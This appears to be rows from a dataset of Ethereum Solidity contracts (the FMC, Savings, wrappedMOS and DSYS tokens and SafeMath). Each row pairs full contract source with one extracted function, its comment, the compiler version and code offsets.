value, "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0)) { _amount = _amount.sub(value); continue; } //circulating balances[payees[i]] = balances[payees[i]].add(value); emit Transfer(owner, payees[i], value); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(value); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(value); balances[payees[i]] = balances[payees[i]].sub(value); balances[frozenAddress] = balances[frozenAddress].add(value); emit Transfer(payees[i], frozenAddress, value); emit Frozen(payees[i], value, _date0, _info.totalFrozenValue); } } balances[owner] = balances[owner].sub(_amount); return true; } // update frozen address function updateFrozenAddress(address newFrozenAddress) public onlyOwner returns(bool){ //要求: //1. 新地址不能为空 //2. 新地址不能为owner //3. 新地址不能与旧地址相同 require(newFrozenAddress != address(0) && newFrozenAddress != owner && newFrozenAddress != frozenAddress); //要求:新地址账本为零 require(balances[newFrozenAddress] == 0); //转移冻结账本 balances[newFrozenAddress] = balances[frozenAddress]; balances[frozenAddress] = 0; emit Transfer(frozenAddress, newFrozenAddress, balances[newFrozenAddress]); frozenAddress = newFrozenAddress; return true; } //平台解冻指定资产 function defrozen(address fellow) public onlyOwner returns(bool){ require(fellow != address(0)); Info storage _info = fellowInfo[fellow]; require(_info.totalFrozenValue > 0); for(uint i = 0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[fellow] = balances[fellow].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, fellow, _defrozenValue); emit Defrozen(fellow, _defrozenValue, _date0, _info.totalFrozenValue); } } return true; } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getOwnAssets() public view returns(uint256, uint256, uint256[], uint256[]){ return getAssets(msg.sender); } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getAssets(address fellow) public view returns(uint256, uint256, uint256[], uint256[]){ uint256 _value = balances[fellow]; Info storage _info = fellowInfo[fellow]; uint256 _totalFrozenValue = _info.totalFrozenValue; uint256 _size = _info.defrozenDates.length; uint256[] memory _values = new uint256[](_size); for(uint i = 0; i < _size; i++){ _values[i] = _info.frozenValues[_info.defrozenDates[i]]; } return (_value, _totalFrozenValue, _info.defrozenDates, _values); } // 设置token官网和icon信息 function setWebInfo(string _website, string _icon) public onlyOwner returns(bool){ website = _website; icon = _icon; return true; } //返回当前区块链时间: 年月日时 function getNow() public view returns(uint256){ return now; } // @dev An internal pure function to calculate date in XX:00:00 function _calcDate0(uint256 _timestamp) internal pure returns(uint256){ return _timestamp.sub(_timestamp % (60*24)); } // 获取当前日期零点时间戳 function _getNow0() internal view returns(uint256){ return _calcDate0(now); } }
_calcDate0
function _calcDate0(uint256 _timestamp) internal pure returns(uint256){ return _timestamp.sub(_timestamp % (60*24)); }
// @dev An internal pure function to calculate date in XX:00:00
LineComment
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 9689, 9826 ] }
7,050
FMC
FMC.sol
0x66d4f385c12927493cd205ed25bf21f1512f02ea
Solidity
FMC
contract FMC is StandardToken, Ownable { using SafeMath for uint256; string public constant name = "Fan Mei Chain (FMC)"; string public constant symbol = "FMC"; uint8 public constant decimals = 18; //总配额2亿 uint256 constant INITIAL_SUPPLY = 200000000 * (10 ** uint256(decimals)); //设置代币官网短URL(32字节以内),供管理平台自动查询 string public website = "www.fanmeichain.com"; //设置代币icon短URL(32字节以内),供管理平台自动查询 string public icon = "/icon/fmc.png"; //冻结账户 address public frozenAddress; //锁仓信息 mapping(address=>Info) internal fellowInfo; // fellow info struct Info{ uint256[] defrozenDates; //解冻日期 mapping(uint256=>uint256) frozenValues; //冻结金额 uint256 totalFrozenValue; //全部冻结资产总额 } // 事件定义 event Frozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); event Defrozen(address user, uint256 value, uint256 defrozenDate, uint256 totalFrozenValue); // Constructor that gives msg.sender all of existing tokens. constructor(address _frozenAddress) public { require(_frozenAddress != address(0) && _frozenAddress != msg.sender); frozenAddress = _frozenAddress; totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); //normal transfer balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); if(_to == frozenAddress){ //defrozing Info storage _info = fellowInfo[msg.sender]; if(_info.totalFrozenValue > 0){ for(uint i=0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[msg.sender] = balances[msg.sender].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, msg.sender, _defrozenValue); emit Defrozen(msg.sender, _defrozenValue, _date0, _info.totalFrozenValue); } } } } return true; } // issue in batch with forzen function issue(address[] payees, uint256[] values, uint16[] deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && payees.length == values.length); uint256 _now0 = _getNow0(); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= values[i], "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0) || values[i] == uint256(0)) { continue; } balances[owner] = balances[owner].sub(values[i]); balances[payees[i]] = balances[payees[i]].add(values[i]); emit Transfer(owner, payees[i], values[i]); uint256 _date0 = _now0.add(deferDays[i]*24*3600); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(values[i]); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(values[i]); balances[payees[i]] = balances[payees[i]].sub(values[i]); balances[frozenAddress] = balances[frozenAddress].add(values[i]); emit Transfer(payees[i], frozenAddress, values[i]); emit Frozen(payees[i], values[i], _date0, _info.totalFrozenValue); } } return true; } // airdrop in with same value and deferDays function airdrop(address[] payees, uint256 value, uint16 deferDays) public onlyOwner returns(bool) { require(payees.length > 0 && value > 0); uint256 _amount = value.mul(payees.length); require(balances[owner] > _amount); uint256 _now0 = _getNow0(); uint256 _date0 = _now0.add(deferDays*24*3600); for (uint i = 0; i<payees.length; i++) { require(balances[owner] >= value, "Issuer balance is insufficient."); //地址为空或者发行额度为零 if (payees[i] == address(0)) { _amount = _amount.sub(value); continue; } //circulating balances[payees[i]] = balances[payees[i]].add(value); emit Transfer(owner, payees[i], value); //判断是否需要冻结 if(_date0 > _now0){ //frozen balance Info storage _info = fellowInfo[payees[i]]; uint256 _fValue = _info.frozenValues[_date0]; if(_fValue == 0){ //_date0 doesn't exist in defrozenDates _info.defrozenDates.push(_date0); } //冻结总量增加_value _info.totalFrozenValue = _info.totalFrozenValue.add(value); _info.frozenValues[_date0] = _info.frozenValues[_date0].add(value); balances[payees[i]] = balances[payees[i]].sub(value); balances[frozenAddress] = balances[frozenAddress].add(value); emit Transfer(payees[i], frozenAddress, value); emit Frozen(payees[i], value, _date0, _info.totalFrozenValue); } } balances[owner] = balances[owner].sub(_amount); return true; } // update frozen address function updateFrozenAddress(address newFrozenAddress) public onlyOwner returns(bool){ //要求: //1. 新地址不能为空 //2. 新地址不能为owner //3. 新地址不能与旧地址相同 require(newFrozenAddress != address(0) && newFrozenAddress != owner && newFrozenAddress != frozenAddress); //要求:新地址账本为零 require(balances[newFrozenAddress] == 0); //转移冻结账本 balances[newFrozenAddress] = balances[frozenAddress]; balances[frozenAddress] = 0; emit Transfer(frozenAddress, newFrozenAddress, balances[newFrozenAddress]); frozenAddress = newFrozenAddress; return true; } //平台解冻指定资产 function defrozen(address fellow) public onlyOwner returns(bool){ require(fellow != address(0)); Info storage _info = fellowInfo[fellow]; require(_info.totalFrozenValue > 0); for(uint i = 0; i< _info.defrozenDates.length; i++){ uint256 _date0 = _info.defrozenDates[i]; if(_info.frozenValues[_date0] > 0 && now >= _date0){ //defrozen... uint256 _defrozenValue = _info.frozenValues[_date0]; require(balances[frozenAddress] >= _defrozenValue); balances[frozenAddress] = balances[frozenAddress].sub(_defrozenValue); balances[fellow] = balances[fellow].add(_defrozenValue); _info.totalFrozenValue = _info.totalFrozenValue.sub(_defrozenValue); _info.frozenValues[_date0] = 0; emit Transfer(frozenAddress, fellow, _defrozenValue); emit Defrozen(fellow, _defrozenValue, _date0, _info.totalFrozenValue); } } return true; } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getOwnAssets() public view returns(uint256, uint256, uint256[], uint256[]){ return getAssets(msg.sender); } // check own assets include: balance, totalForzenValue, defrozenDates, defrozenValues function getAssets(address fellow) public view returns(uint256, uint256, uint256[], uint256[]){ uint256 _value = balances[fellow]; Info storage _info = fellowInfo[fellow]; uint256 _totalFrozenValue = _info.totalFrozenValue; uint256 _size = _info.defrozenDates.length; uint256[] memory _values = new uint256[](_size); for(uint i = 0; i < _size; i++){ _values[i] = _info.frozenValues[_info.defrozenDates[i]]; } return (_value, _totalFrozenValue, _info.defrozenDates, _values); } // 设置token官网和icon信息 function setWebInfo(string _website, string _icon) public onlyOwner returns(bool){ website = _website; icon = _icon; return true; } //返回当前区块链时间: 年月日时 function getNow() public view returns(uint256){ return now; } // @dev An internal pure function to calculate date in XX:00:00 function _calcDate0(uint256 _timestamp) internal pure returns(uint256){ return _timestamp.sub(_timestamp % (60*24)); } // 获取当前日期零点时间戳 function _getNow0() internal view returns(uint256){ return _calcDate0(now); } }
_getNow0
function _getNow0() internal view returns(uint256){ return _calcDate0(now); }
// 获取当前日期零点时间戳
LineComment
v0.4.25+commit.59dbf8f1
bzzr://7a0ccc9375b07b61ca670f527c5d0ceee8de9898d467ab47544bc70ad284ea8f
{ "func_code_index": [ 9847, 9943 ] }
7,051
Savings
Savings.sol
0xd513a407d6e8de115d8765ccfc50dacd57f22c01
Solidity
Savings
contract Savings { mapping(address => mapping(address => uint256)) private balances; mapping(address => mapping(address => uint)) private experations; // Function to deposit currency to the contract // _duration is in blocks from current function deposit(address _tokenAddress, uint256 _amount, uint _duration) public returns (bool success) { // Require that user doesn't have any pending balances in this token require(balances[msg.sender][_tokenAddress] == 0, "You can't have two pending pools with the same currency"); // Check that we have allowance to transfer tokens require(ERC20Interface(_tokenAddress).allowance(msg.sender,address(this)) >= _amount, "Allowance is too low for this transaction"); // Check that user has requested balance require(ERC20Interface(_tokenAddress).balanceOf(msg.sender) >= _amount,"Wallet balance is too low for this transaction"); // Good to go, execute transaction // transfer tokens to this contract require(ERC20Interface(_tokenAddress).transferFrom(msg.sender,address(this),_amount)); // Experation is current block plus duration uint experation = block.number + _duration; assert(experation > block.number); balances[msg.sender][_tokenAddress] = _amount; experations[msg.sender][_tokenAddress] = experation; return true; } function withdraw(address _tokenAddress) public returns (bool success) { //Require that value is not zero require(balances[msg.sender][_tokenAddress] > 0, "Sender does not own any of specified token in Savings contract"); // Require that term has ended require(experations[msg.sender][_tokenAddress] <= block.number, "The term has not ended yet"); // Store amount to send back then clear before sending. Protects against attack. uint256 withdrawalAmount = balances[msg.sender][_tokenAddress]; // Clear term from contract balances[msg.sender][_tokenAddress] = 0; // Send back tokens require(ERC20Interface(_tokenAddress).transfer(msg.sender,withdrawalAmount)); return true; } }
deposit
function deposit(address _tokenAddress, uint256 _amount, uint _duration) public returns (bool success) { // Require that user doesn't have any pending balances in this token require(balances[msg.sender][_tokenAddress] == 0, "You can't have two pending pools with the same currency"); // Check that we have allowance to transfer tokens require(ERC20Interface(_tokenAddress).allowance(msg.sender,address(this)) >= _amount, "Allowance is too low for this transaction"); // Check that user has requested balance require(ERC20Interface(_tokenAddress).balanceOf(msg.sender) >= _amount,"Wallet balance is too low for this transaction"); // Good to go, execute transaction // transfer tokens to this contract require(ERC20Interface(_tokenAddress).transferFrom(msg.sender,address(this),_amount)); // Experation is current block plus duration uint experation = block.number + _duration; assert(experation > block.number); balances[msg.sender][_tokenAddress] = _amount; experations[msg.sender][_tokenAddress] = experation; return true; }
// Function to deposit currency to the contract // _duration is in blocks from current
LineComment
v0.6.2+commit.bacdbe57
MIT
ipfs://7e9bec656f19a9fd3f527be89bc3ca130f6e43d84509388756f23d33a3b09819
{ "func_code_index": [ 257, 1356 ] }
7,052
WrappedMosContract
WrappedMosContract.sol
0xfb2973757a86f4640020363262a0e6e4bb006442
Solidity
WrappedMosContract
contract WrappedMosContract is ERC20 { string internal _name = "wrappedMOS"; string internal _symbol = "wMOS"; string internal _standard = "ERC20"; uint8 internal _decimals = 18; uint internal _totalSupply = 100000000 * 1 ether; address internal _contractOwner; mapping(address => uint256) internal balances; mapping(address => mapping(address => uint256)) internal allowed; event Transfer( address indexed _from, address indexed _to, uint256 _value ); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); constructor () public { balances[msg.sender] = totalSupply(); _contractOwner = msg.sender; } // Try to prevent sending ETH to SmartContract by mistake. function () external payable { revert("This SmartContract is not payable"); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function standard() public view returns (string memory) { return _standard; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function contractOwner() public view returns (address) { return _contractOwner; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0), "'_to' address has to be set"); require(_value <= balances[msg.sender], "Insufficient balance"); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); emit Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require (_spender != address(0), "_spender address has to be set"); require (_value > 0, "'_value' parameter has to be greater than 0"); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_from != address(0), "'_from' address has to be set"); require(_to != address(0), "'_to' address has to be set"); require(_value <= balances[_from], "Insufficient balance"); require(_value <= allowed[_from][msg.sender], "Insufficient allowance"); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); balances[_from] = SafeMath.sub(balances[_from], _value); balances[_to] = SafeMath.add(balances[_to], _value); emit Transfer(_from, _to, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } modifier onlyOwner() { require(isOwner(), "Only owner can do that"); _; } function isOwner() public view returns (bool) { return msg.sender == _contractOwner; } function mint(uint256 _value) public onlyOwner returns (bool success) { require (_value > 0, "'_value' parameter has to be greater than 0"); _totalSupply = SafeMath.add(_totalSupply, _value); balances[msg.sender] = SafeMath.add(balances[msg.sender], _value); emit Transfer(address(0), msg.sender, _value); return true; } function burn(uint256 _value) public { require(_value <= balances[msg.sender]); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); _totalSupply = SafeMath.sub(_totalSupply, _value); emit Transfer(msg.sender, address(0), _value); } }
function () external payable { revert("This SmartContract is not payable"); }
// Try to prevent sending ETH to SmartContract by mistake.
LineComment
v0.5.17+commit.d19bba13
MIT
bzzr://3189c6eac3fb9ad3cb558620a2206f6ec545ea671ba092b122d849a09572364a
{ "func_code_index": [ 933, 1030 ] }
7,053
DSYS
contracts/token/DSYS.sol
0x10a34bbe9b3c5ad536ca23d5eefa81ca448e92ff
Solidity
DSYS
contract DSYS is ERC20 { using SafeMath for uint256; address public admin; string public constant name = "DSYS"; string public constant symbol = "DSYS"; uint8 public constant decimals = 18; uint256 public totalSupply; mapping(address => bool) internal blacklist; event Burn(address indexed from, uint256 value); // Disables/enables token transfers, for migration to platform mainnet // true = Can not transfers // false = Can transfer bool public checkTokenLock = false; // Allows execution by the ico only modifier adminOnly { require(msg.sender == admin); _; } modifier transferable { require(msg.sender == admin || !checkTokenLock); _; } function DSYS(uint256 _initialSupply) public { balances[msg.sender] = _initialSupply.mul(1e18); totalSupply = _initialSupply.mul(1e18); admin = msg.sender; } // _block // True : Can not Transfer // false : Can Transfer function blockTransfer(bool _block) external adminOnly { checkTokenLock = _block; } // _inBlackList // True : Can not Transfer // false : Can Transfer function updateBlackList(address _addr, bool _inBlackList) external adminOnly{ blacklist[_addr] = _inBlackList; } function isInBlackList(address _addr) public view returns(bool){ return blacklist[_addr]; } function balanceOf(address _who) public view returns(uint256) { return balances[_who]; } function transfer(address _to, uint256 _amount) public transferable returns(bool) { require(_to != address(0)); require(_to != address(this)); require(_amount > 0); require(_amount <= balances[msg.sender]); require(blacklist[msg.sender] == false); require(blacklist[_to] == false); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) public transferable returns(bool) { require(_to != address(0)); require(_to != address(this)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); require(blacklist[_from] == false); require(blacklist[_to] == false); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _amount) public returns(bool) { // reduce spender's allowance to 0 then set desired value after to avoid race condition require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) public view returns(uint256) { return allowed[_owner][_spender]; } function burnTokens(address _investor, uint256 _value) external adminOnly { require(_value > 0); require(balances[_investor] >= _value); totalSupply = totalSupply.sub(_value); balances[_investor] = balances[_investor].sub(_value); Burn(_investor, _value); } }
blockTransfer
function blockTransfer(bool _block) external adminOnly { checkTokenLock = _block; }
// _block // True : Can not Transfer // false : Can Transfer
LineComment
v0.4.18+commit.9cf6e910
bzzr://97fd60aad1173c64bfe4a425076c65ea600ddc7823754264f0ad551b09f5135d
{ "func_code_index": [ 1060, 1162 ] }
7,054
DSYS
contracts/token/DSYS.sol
0x10a34bbe9b3c5ad536ca23d5eefa81ca448e92ff
Solidity
DSYS
contract DSYS is ERC20 { using SafeMath for uint256; address public admin; string public constant name = "DSYS"; string public constant symbol = "DSYS"; uint8 public constant decimals = 18; uint256 public totalSupply; mapping(address => bool) internal blacklist; event Burn(address indexed from, uint256 value); // Disables/enables token transfers, for migration to platform mainnet // true = Can not transfers // false = Can transfer bool public checkTokenLock = false; // Allows execution by the ico only modifier adminOnly { require(msg.sender == admin); _; } modifier transferable { require(msg.sender == admin || !checkTokenLock); _; } function DSYS(uint256 _initialSupply) public { balances[msg.sender] = _initialSupply.mul(1e18); totalSupply = _initialSupply.mul(1e18); admin = msg.sender; } // _block // True : Can not Transfer // false : Can Transfer function blockTransfer(bool _block) external adminOnly { checkTokenLock = _block; } // _inBlackList // True : Can not Transfer // false : Can Transfer function updateBlackList(address _addr, bool _inBlackList) external adminOnly{ blacklist[_addr] = _inBlackList; } function isInBlackList(address _addr) public view returns(bool){ return blacklist[_addr]; } function balanceOf(address _who) public view returns(uint256) { return balances[_who]; } function transfer(address _to, uint256 _amount) public transferable returns(bool) { require(_to != address(0)); require(_to != address(this)); require(_amount > 0); require(_amount <= balances[msg.sender]); require(blacklist[msg.sender] == false); require(blacklist[_to] == false); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) public transferable returns(bool) { require(_to != address(0)); require(_to != address(this)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); require(blacklist[_from] == false); require(blacklist[_to] == false); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _amount) public returns(bool) { // reduce spender's allowance to 0 then set desired value after to avoid race condition require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) public view returns(uint256) { return allowed[_owner][_spender]; } function burnTokens(address _investor, uint256 _value) external adminOnly { require(_value > 0); require(balances[_investor] >= _value); totalSupply = totalSupply.sub(_value); balances[_investor] = balances[_investor].sub(_value); Burn(_investor, _value); } }
updateBlackList
function updateBlackList(address _addr, bool _inBlackList) external adminOnly{ blacklist[_addr] = _inBlackList; }
// _inBlackList // True : Can not Transfer // false : Can Transfer
LineComment
v0.4.18+commit.9cf6e910
bzzr://97fd60aad1173c64bfe4a425076c65ea600ddc7823754264f0ad551b09f5135d
{ "func_code_index": [ 1249, 1381 ] }
7,055
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } }
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; }
/** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 251, 437 ] }
7,056
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } }
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; }
/** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 707, 896 ] }
7,057
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } }
